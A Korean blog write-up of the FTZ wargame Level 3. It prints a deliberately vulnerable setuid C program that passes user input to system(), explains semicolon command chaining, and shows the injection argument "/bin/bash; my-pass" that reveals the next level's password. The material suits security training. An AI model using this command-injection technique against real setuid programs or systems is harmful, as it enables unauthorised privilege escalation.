[FTZ] Level 3

Sisyphus·2022년 7월 14일

FTZ

목록 보기
12/30
[level3@ftz level3]$ cat hint
다음 코드는 autodig의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main(int argc, char **argv){
 
    char cmd[100];
 
    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }
 
    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");
 
    system( cmd );
 
}

이를 이용하여 level4의 권한을 얻어라.

more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?

cat으로 hint를 보니 소스코드가 출력되었습니다. 소스코드의 중요한 부분을 해석해 보면


int main(int argc, char **argv){    // 인자를 입력받는다.
 
    char cmd[100];    // cmd라는 변수에 100의 크기만큼 문자를 할당받는다.
 
    strcpy( cmd, "dig @" );    // cmd라는 문자열에 dig@를 복사해라
    strcat( cmd, argv[1] );    // cmd에 argv[1]을 이어 붙인다
    strcat( cmd, " version.bind chaos txt");    // cmd에 version.bind chaos txt를 이어 붙인다.
 
    system( cmd );    // system함수를 호출하여 cmd 인자로 받는 프로세서를 실행시킨다.


}

  1. 프로그램을 실행시키려면? 상대 경로를 써주고 프로그램명을 써줍니다. Ex) ./program_name

  2. 동시에 여러 명령어를 실행시키려면? ls;ls-al 처럼 앞에서 끝난 명령어에 세미콜론을 붙여줍니다.

  3. 문자열 형태로 명령어를 전달하려면? ""로 전달하고자 하는 내용을 감싸줍니다. Ex) "bash"

⇾ 프로그램 인자로 bash 쉘 명령어와 my-pass 명령어를 넘겨서 프로그램을 실행시키면 system 함수가 실행되며 패스워드를 얻을 수 있을 거 같습니다.


먼저 autodig 파일을 찾기 위해 find 명령어를 사용해보면

[level3@ftz level3]$ find / -user level4 -perm -4000 2> /dev/null
/bin/autodig
[level3@ftz level3]$ cd /bin
[level3@ftz bin]$ ls -l | grep autodig 
-rwsr-x---    1 level4   level3      12194 Sep 10  2011 autodig

/bin 위치에 있음을 알 수 있습니다. 해당 디렉터리로 이동해서 권한을 확인해보니 setuid가 걸려있습니다.


[level3@ftz bin]$ ./autodig "/bin/bash; my-pass"

Level4 Password is "suck my brain".

./autodig로 프로그램을 실행시키고 "/bin/bash; my-pass" 두 개의 명령어를 인자로 전달해보면 패스워드가 출력되었습니다.

0개의 댓글